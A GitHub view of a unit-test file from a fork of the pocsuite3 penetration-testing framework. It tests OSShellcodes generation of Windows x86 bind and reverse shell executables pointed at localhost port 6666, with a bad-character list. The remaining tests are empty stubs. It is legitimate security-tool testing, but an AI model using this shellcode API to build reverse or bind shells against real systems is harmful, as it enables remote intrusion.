forked from knownsec/pocsuite3
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtest_osshell.py
89 lines (73 loc) · 3.14 KB
/
test_osshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import unittest
import os
from pocsuite3.api import OSShellcodes
from pocsuite3.lib.core.data import paths
from pocsuite3.lib.core.enums import SHELLCODE_CONNECTION, OS, OS_ARCH
class TestCase(unittest.TestCase):
def setUp(self):
self.connect_back_ip = '127.0.0.1'
self.bad_chars = ["\x00", "\x0a", "\x0d", "\x3b"]
self.shellpath = os.path.join(paths.POCSUITE_TMP_PATH, "payload.jar")
def tearDown(self):
if os.path.exists(self.shellpath):
os.unlink(self.shellpath)
def test_win_x86_bind(self):
os_target = OS.WINDOWS
os_target_arch = OS_ARCH.X86
dll_funcs = ["pcap_findalldevs", "pcap_close", "pcap_compile", "pcap_datalink",
"pcap_datalink_val_to_description",
"pcap_dump", "pcap_dump_close", "pcap_dump_open", "pcap_file", "pcap_freecode", "pcap_geterr",
"pcap_getevent", "pcap_lib_version", "pcap_lookupdev", "pcap_lookupnet", "pcap_loop",
"pcap_open_live",
"pcap_open_offline", "pcap_setfilter", "pcap_snapshot", "pcap_stats"]
s = OSShellcodes(os_target, os_target_arch, self.connect_back_ip, 6666, self.bad_chars)
connection_type = SHELLCODE_CONNECTION.BIND
filename = 'osshell_x86_bind'
filepath = os.path.join(paths.POCSUITE_TMP_PATH, filename) + '.exe'
shellcode = s.create_shellcode(
connection_type,
encode='',
make_exe=1,
debug=0,
# dll_inj_funcs=dll_funcs,
filename=filename,
# use_precompiled=False
)
self.assertTrue(os.path.exists(filepath))
os.unlink(filepath)
def test_win_x86_reverse(self):
os_target = OS.WINDOWS
os_target_arch = OS_ARCH.X86
dll_funcs = ["pcap_findalldevs", "pcap_close", "pcap_compile", "pcap_datalink",
"pcap_datalink_val_to_description",
"pcap_dump", "pcap_dump_close", "pcap_dump_open", "pcap_file", "pcap_freecode", "pcap_geterr",
"pcap_getevent", "pcap_lib_version", "pcap_lookupdev", "pcap_lookupnet", "pcap_loop",
"pcap_open_live",
"pcap_open_offline", "pcap_setfilter", "pcap_snapshot", "pcap_stats"]
s = OSShellcodes(os_target, os_target_arch, self.connect_back_ip, 6666, self.bad_chars)
connection_type = SHELLCODE_CONNECTION.REVERSE
filename = 'osshell_x86_reverse'
filepath = os.path.join(paths.POCSUITE_TMP_PATH, filename) + '.exe'
shellcode = s.create_shellcode(
connection_type,
encode='',
make_exe=1,
debug=0,
# dll_inj_funcs=dll_funcs,
filename=filename,
# use_precompiled=False
)
self.assertTrue(os.path.exists(filepath))
os.unlink(filepath)
def test_win_x64_bind(self):
pass
def test_win_x64_reverse(self):
pass
def test_linux_x86_bind(self):
pass
def test_linux_x86_reverse(self):
pass
def test_linux_x64_bind(self):
pass
def test_linux_x64_reverse(self):
pass